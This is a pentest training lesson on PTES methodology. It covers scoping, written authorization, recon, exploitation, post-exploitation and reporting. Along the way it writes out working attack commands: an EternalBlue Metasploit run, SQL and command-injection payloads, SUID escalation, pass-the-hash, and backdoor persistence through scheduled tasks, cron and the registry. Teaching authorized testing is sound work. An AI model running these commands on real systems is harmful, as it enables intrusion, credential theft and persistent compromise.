Penetration Testing Methodology

A penetration testing methodology is a structured, repeatable framework that guides security professionals through the process of identifying, exploiting, and reporting vulnerabilities. Rather than randomly poking at systems, following a proven methodology ensures thorough coverage, consistent results, and professional deliverables. This lesson covers the industry-standard approaches that transform hacking from chaos into science.

What You'll Learn

Why methodology matters in penetration testing
Industry-standard frameworks (PTES, OWASP, OSSTMM, NIST)
The phases of penetration testing in depth
Tools and techniques for each phase
Documentation and reporting best practices
Legal and ethical considerations throughout the process

Why Methodology Matters

The Problem with "Random Hacking"

Without methodology: ❌ Inconsistent results ❌ Missed vulnerabilities ❌ Wasted time ❌ Unprofessional reports ❌ Legal exposure

With methodology: ✅ Systematic coverage ✅ Repeatable process ✅ Comprehensive findings ✅ Professional documentation ✅ Clear scope and boundaries

Benefits of Structured Testing

Completeness - Don't miss important areas
Efficiency - Optimize time and effort
Consistency - Same quality across engagements
Defensibility - Justify your actions if questioned
Professionalism - Client confidence in your work
Knowledge Transfer - Train others effectively

Major Penetration Testing Frameworks

1. PTES (Penetration Testing Execution Standard) 🥇

Website: pentest-standard.org

Most comprehensive and widely adopted framework

Seven Main Sections:

Pre-engagement Interactions
Intelligence Gathering
Threat Modeling
Vulnerability Analysis
Exploitation
Post-Exploitation
Reporting

Best for: General penetration testing engagements

2. OWASP Testing Guide

Website: owasp.org

Focus: Web application security testing

Coverage:

Information Gathering
Configuration Management
Identity Management
Authentication Testing
Authorization Testing
Session Management
Input Validation
Error Handling
Cryptography
Business Logic
Client-Side Testing

Best for: Web application penetration tests

3. OSSTMM (Open Source Security Testing Methodology Manual)

Website: isecom.org

Approach: Scientific, metrics-focused methodology

Sections:

Human Security
Physical Security
Wireless Security
Telecommunications
Data Networks

Best for: Comprehensive security audits with measurable outcomes

4. NIST SP 800-115

Full Title: Technical Guide to Information Security Testing and Assessment

Publisher: National Institute of Standards and Technology (US Government)

Focus: Government and compliance-driven testing

Techniques:

Review Techniques
Target Identification and Analysis
Target Vulnerability Validation
Security Assessment Planning
Security Assessment Execution
Post-Testing Activities

Best for: Federal agencies, contractors, compliance requirements

5. ISSAF (Information Systems Security Assessment Framework)

Comprehensive framework covering:

Project Management
Assessment
Reporting
Cleanup

Best for: Large enterprise assessments

The Phases of Penetration Testing (PTES Framework)

Let's dive deep into each phase using the PTES framework as our guide.

Phase 1: Pre-Engagement Interactions

Goal: Define scope, objectives, and rules of engagement before any testing begins.

Key Activities:

A. Scoping Discussion

Topics to cover:

What systems are in-scope?
What is explicitly out-of-scope?
Testing timeframe
Testing methods allowed
Points of contact

Example Questions:

Client: "Test our web application"
You: "Which one? Production or staging?"
     "Include APIs?"
     "Test mobile app too?"
     "Authenticated or unauthenticated testing?"
     "Social engineering allowed?"

B. Rules of Engagement (ROE) Document

Must include:

1. Scope
   - IP ranges: 203.0.113.0/24
   - Domains: *.example.com
   - Applications: HR Portal, Customer Portal
   
2. Out of Scope
   - Partner networks
   - Legacy mainframe system
   - Production payment processing (PCI environment)
   
3. Timeline
   - Start: October 15, 2024
   - End: October 29, 2024
   - Testing Hours: 9 AM - 5 PM EST
   
4. Restrictions
   - No DDoS attacks
   - No social engineering of executives
   - No physical access testing
   - Maximum scan rate: 100 packets/second
   
5. Contacts
   - Primary: [email protected]
   - Emergency: 555-0100 (24/7)
   - Escalation: CISO John Smith
   
6. Legal
   - Authorization letter attached
   - NDA executed
   - Insurance: $1M cyber liability

C. Authorization Letter

Critical: Get written authorization!

PENETRATION TESTING AUTHORIZATION

Company: Example Corp
Tester: Your Consulting Firm
Date: October 1, 2024

Example Corp hereby authorizes [Your Firm] to conduct security 
testing against the systems listed in the attached Statement of 
Work during the period of October 15-29, 2024.

This authorization covers:
- Network scanning
- Vulnerability assessment
- Exploitation of vulnerabilities
- Web application testing
- Social engineering (email phishing only)

Signed: ___________________ Date: __________
        Jane Doe, CISO

Pro Tip: Keep this document accessible during testing. If law enforcement questions you, show authorization immediately.

D. Kick-off Meeting

Attendees:

Client stakeholders
Your team
IT/Security team

Agenda:

Review scope and ROE
Exchange contact info
Communication protocols
Incident handling procedures
Timeline and milestones

Phase 2: Intelligence Gathering (Reconnaissance)

Goal: Collect as much information as possible about the target.

2A. Passive Reconnaissance

Definition: Gather information WITHOUT directly interacting with target systems.

OSINT (Open Source Intelligence)

Company Information:

# Search company name
# Google, LinkedIn, company website

# Find employees
# LinkedIn Sales Navigator
# Hunter.io for email addresses

# Technology stack
# Wappalyzer browser extension
# BuiltWith.com

# Document metadata
exiftool company-document.pdf
# Reveals: Author names, software versions, internal paths

Domain Information:

# WHOIS lookup
whois example.com
# Reveals: Registrar, name servers, registration date

# DNS records
dig example.com ANY
dig example.com MX
dig example.com TXT

# Subdomain enumeration (passive)
# Certificate Transparency logs
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sort -u

# theHarvester
theHarvester -d example.com -b all

# Shodan (search engine for internet-connected devices)
shodan search hostname:example.com

Social Media:

LinkedIn: Employee names, job roles, technologies used
Social feeds: Company announcements, employee posts, hiring signals
GitHub: Source code, API keys (accidentally committed)
Pastebin: Leaked credentials, dumps

Google Dorking:

site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com intitle:"index of"
site:example.com "confidential" filetype:xlsx

2B. Active Reconnaissance

Definition: Directly interact with target systems (with authorization!).

Network Scanning

Host Discovery:

# Ping sweep
nmap -sn 203.0.113.0/24

# ARP scan (local network)
arp-scan -l

# Netdiscover
netdiscover -r 10.0.0.0/24

Port Scanning:

# Quick scan (top 1000 ports)
nmap -T4 203.0.113.50

# Full TCP scan
nmap -p- 203.0.113.50

# Service detection
nmap -sV -sC 203.0.113.50

# OS detection
sudo nmap -O 203.0.113.50

# Aggressive scan (be careful!)
nmap -A -T4 203.0.113.50

# Scan and output to all formats
nmap -sV -sC -oA output 203.0.113.0/24

Service Enumeration

HTTP/HTTPS:

# Nikto web scanner
nikto -h https://example.com

# Directory brute-forcing
gobuster dir -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/common.txt

# Technology detection
whatweb https://example.com

# Screenshot websites
aquatone-discover --domain example.com

SMB (Windows File Sharing):

# List shares
smbclient -L //10.0.0.5 -N

# Enum4linux
enum4linux -a 10.0.0.5

# SMBMap
smbmap -H 10.0.0.5

DNS:

# Zone transfer attempt
dig axfr @ns1.example.com example.com

# Reverse DNS lookup
dig -x 203.0.113.50

# DNSEnum
dnsenum example.com

SMTP:

# Connect to mail server
nc mail.example.com 25

# Enumerate users
smtp-user-enum -M VRFY -U users.txt -t mail.example.com

Phase 3: Threat Modeling

Goal: Analyze collected information to identify attack vectors.

Attack Surface Analysis

Map out:

External Assets:
- Web applications
- VPN endpoints
- Email servers
- Exposed databases
Entry Points:
- Login forms
- File uploads
- APIs
- User input fields
Trust Boundaries:
- Internet ↔ DMZ
- DMZ ↔ Internal Network
- User ↔ Admin privileges

Business Asset Analysis

Identify high-value targets:

Crown Jewels: Customer database, financial records
Critical Systems: Payment processing, authentication servers
Valuable Data: PII, intellectual property, trade secrets

Attack Vector Identification

Potential attack paths:

1. Phishing → User credentials → VPN access → Internal network
2. Web app SQLi → Database access → Sensitive data
3. Exposed RDP → Brute force → System access → Lateral movement
4. Vulnerable web server → Shell upload → Privilege escalation

Prioritize by:

Likelihood of success
Impact if exploited
Ease of exploitation

Phase 4: Vulnerability Analysis

Goal: Identify specific security weaknesses.

Automated Scanning

Vulnerability Scanners:

# Nessus (commercial)
# - Comprehensive vulnerability database
# - Compliance scanning
# - Credentialed scans

# OpenVAS (open-source)
# - Free alternative to Nessus
# - Regular updates

# Nuclei
nuclei -u https://example.com -t cves/

# Nikto (web-specific)
nikto -h https://example.com

Manual Testing

Web Application:

# Burp Suite - Intercept HTTP traffic
# Test for:
# - SQL Injection
# - XSS
# - CSRF
# - Authentication bypass
# - Authorization flaws

# SQLMap
sqlmap -u "https://example.com/page?id=1" --dbs

# XSStrike
python3 xsstrike.py -u "https://example.com/search?q=test"

Network Services:

# Test default credentials
hydra -L users.txt -P passwords.txt ssh://10.0.0.5

# Check for weak ciphers (SSL/TLS)
sslscan example.com
testssl.sh example.com

# SNMP enumeration
snmpwalk -c public -v2c 10.0.0.5

Vulnerability Classification

Categorize findings:

Critical: Remote code execution, SQL injection with admin access
High: Privilege escalation, authentication bypass
Medium: Information disclosure, weak encryption
Low: Banner information, minor misconfigurations
Informational: Observations, no direct security impact

Phase 5: Exploitation

Goal: Attempt to exploit identified vulnerabilities (with authorization!).

Exploitation Framework

Metasploit:

# Start Metasploit
msfconsole

# Search for exploit
search ms17-010

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue

# Set options
set RHOSTS 10.0.0.5
set LHOST 10.0.0.100

# Exploit
exploit

# Get Meterpreter shell
meterpreter > getuid
meterpreter > sysinfo

Manual Exploitation

SQL Injection:

# Union-based SQLi
' UNION SELECT username, password FROM users--

# Error-based SQLi
' AND 1=CONVERT(int,(SELECT @@version))--

# Blind SQLi
' AND (SELECT COUNT(*) FROM users) > 0--

Command Injection:

# Test input: 127.0.0.1; whoami
# Test input: 127.0.0.1 && ls -la
# Test input: 127.0.0.1 | cat /etc/passwd

File Upload Bypass:

# Upload PHP shell as image
# Filename: shell.php.jpg
# Content-Type: image/jpeg
# Then: Access at /uploads/shell.php.jpg

Proof of Concept (PoC)

Document successful exploits:

## Vulnerability: SQL Injection in Login Form

**URL**: https://example.com/login.php

**Parameter**: username

**Payload**: 
' OR '1'='1'-- -

**Result**: Bypassed authentication, logged in as admin

**Screenshot**: [attached]

Phase 6: Post-Exploitation

Goal: Determine the full impact of compromise.

Privilege Escalation

Linux:

# Enumeration
LinPEAS.sh
sudo -l
find / -perm -4000 2>/dev/null

# Exploit SUID binary
/usr/bin/find . -exec /bin/sh -p \; -quit

Windows:

# Enumeration
WinPEAS.exe
whoami /priv

# Token impersonation
# SeImpersonatePrivilege → JuicyPotato, RoguePotato

Lateral Movement

Techniques:

# Pass-the-Hash
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:hash //10.0.0.10 cmd

# PSExec
psexec.py domain/user:[email protected]

# WMI
wmiexec.py domain/user:[email protected]

# RDP
xfreerdp /u:admin /p:password /v:10.0.0.10

Data Exfiltration (Simulated)

⚠️ IMPORTANT: Never exfiltrate real data! Create dummy files as proof.

# Create proof file
echo "Proof of access to sensitive directory" > PROOF.txt

# Screenshot
scrot screenshot.png

# System information
hostname > system_info.txt
whoami >> system_info.txt
ipconfig /all >> system_info.txt

Persistence

Demonstrate (but clean up after!):

# Scheduled task (Windows)
schtasks /create /tn "Updater" /tr "C:\backdoor.exe" /sc onlogon

# Cron job (Linux)
echo "* * * * * /tmp/.hidden/reverse.sh" | crontab -

# Registry key (Windows)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /d "C:\backdoor.exe"

Always document and remove all persistence mechanisms before completing engagement!

Phase 7: Reporting

Goal: Communicate findings clearly to stakeholders.

Report Structure

Executive Summary

High-level overview (non-technical)
Business impact
Key findings
Risk rating
Recommendations summary

Example:

During the October 2024 penetration test, [Company] identified 
15 vulnerabilities across your web application and network 
infrastructure. Of particular concern are three Critical findings 
that could allow an attacker to compromise customer data:

1. SQL Injection in the customer portal
2. Unpatched Windows Server (MS17-010)
3. Weak password policy allowing brute-force attacks

Immediate remediation is recommended to prevent potential data breach.

Technical Findings

For each vulnerability:

### Finding: SQL Injection in Login Form

**Severity**: Critical
**CVSS Score**: 9.8
**Status**: Confirmed

**Description**:
The login form at /login.php is vulnerable to SQL injection via 
the 'username' parameter. An attacker can bypass authentication 
and access the database.

**Impact**:
- Unauthorized access to administrator account
- Full database compromise
- Access to 50,000+ customer records (PII)

**Proof of Concept**:
URL: https://example.com/login.php
Method: POST
Parameter: username
Payload: admin' OR '1'='1'-- -

[Screenshot attached]

**Recommendation**:
1. Implement parameterized queries (prepared statements)
2. Add input validation and sanitization
3. Implement web application firewall (WAF)
4. Review all database queries for similar issues

**References**:
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: SQL Injection

Remediation Guidance

Prioritized action plan:

Priority 1 (Immediate - Critical):
□ Patch MS17-010 on all Windows servers
□ Fix SQL injection in customer portal
□ Reset all administrator passwords

Priority 2 (Within 30 days - High):
□ Implement multi-factor authentication
□ Enable account lockout policies
□ Update SSL/TLS configuration

Priority 3 (Within 90 days - Medium):
□ Implement security awareness training
□ Deploy web application firewall
□ Conduct code review of legacy applications

Report Formats

Deliverables:

Executive Report (PDF, 5-10 pages)
Technical Report (PDF, 20-50+ pages)
Findings Spreadsheet (Excel/CSV)
Evidence Package (Screenshots, logs, PoCs)
Debrief Presentation (PowerPoint)

Testing Types and Approaches

Black Box Testing

No prior knowledge of target
Simulates external attacker
Most realistic
Time-consuming

White Box Testing

Full knowledge (credentials, source code, architecture)
Thorough coverage
Finds more vulnerabilities
Less realistic

Gray Box Testing

Partial knowledge (user-level access)
Balance between black and white
Common in practice

Documentation Throughout Testing

Maintain Detailed Notes

Use tools:

CherryTree - Note-taking app for pentesters
Obsidian - Markdown knowledge base
KeepNote - Hierarchical notes
Joplin - Open-source note-taking

Document everything:

[2024-10-15 14:23] Started nmap scan of 203.0.113.0/24
[2024-10-15 14:30] Found open port 445 on .50, .51, .52
[2024-10-15 14:35] Attempted MS17-010 exploit on .50 - Success!
[2024-10-15 14:40] Gained SYSTEM shell on WIN-SERVER-01
[2024-10-15 14:45] Located sensitive data in C:\Confidential\
[2024-10-15 14:50] Created proof file: PROOF-WIN-SERVER-01.txt

Screenshots

Best practices:

Include full screen with timestamp
Show URL bar (web testing)
Highlight relevant sections
Name files descriptively: 01_sqli_admin_bypass.png

Legal and Ethical Considerations

Throughout Every Phase

✅ DO:

Follow the Rules of Engagement
Stay within scope
Report critical findings immediately
Document all actions
Clean up after testing (remove backdoors, etc.)
Maintain confidentiality

❌ DON'T:

Test without authorization
Exceed scope
Access/exfiltrate real sensitive data
Cause service disruptions (without approval)
Share client information
Use findings for personal gain

Emergency Procedures

If you discover active compromise:

Stop testing immediately
Contact client emergency contact
Document what you found
Follow client's incident response procedures

Methodology in Practice: Example Timeline

2-Week Engagement

Week 1:

Day 1-2:   Pre-engagement, kick-off meeting
Day 3-5:   Reconnaissance and vulnerability scanning
Day 6-7:   Vulnerability analysis and validation

Week 2:

Day 8-10:  Exploitation and post-exploitation
Day 11-12: Cleanup, documentation
Day 13:    Report writing
Day 14:    Debrief presentation

Try It Yourself

Practice Methodology

Step 1: Choose a vulnerable VM (Metasploitable2, DVWA)

Step 2: Create a mock ROE document

Step 3: Follow PTES methodology:

1. Intelligence Gathering (1 hour)
   - Nmap scan
   - Service enumeration
   - Document findings

2. Vulnerability Analysis (2 hours)
   - Identify weaknesses
   - Research exploits
   - Prioritize targets

3. Exploitation (2 hours)
   - Exploit vulnerabilities
   - Document PoCs
   - Screenshot everything

4. Reporting (2 hours)
   - Write findings
   - Create remediation plan
   - Format professionally

Step 4: Review your process - what worked? What didn't?

Resources

Methodologies:

Tools:

Templates:

Application Security:

Web Application Testing Training - Hands-on techniques for finding vulnerabilities in web applications
Thinking Like an Attacker - Develop an attacker mindset for more effective testing
JustAppSec Research - In-depth application security research covering OWASP Top 10 and beyond

Books:

"The Hacker Playbook 3" by Peter Kim
"Penetration Testing: A Hands-On Introduction" by Georgia Weidman

Next Steps

Practice: Apply methodology to HackTheBox or TryHackMe challenges
Document: Keep detailed notes on every engagement
Next lesson: Begin Networking fundamentals
Build habits: Always follow methodology, even in practice
Improve: Refine your process with each test

Remember: Methodology isn't about rigid rules—it's about ensuring you're thorough, professional, and effective. Adapt these frameworks to your specific engagement needs!

"In preparing for battle, I have always found that plans are useless but planning is indispensable." - Dwight D. Eisenhower (Same applies to pentesting methodology!)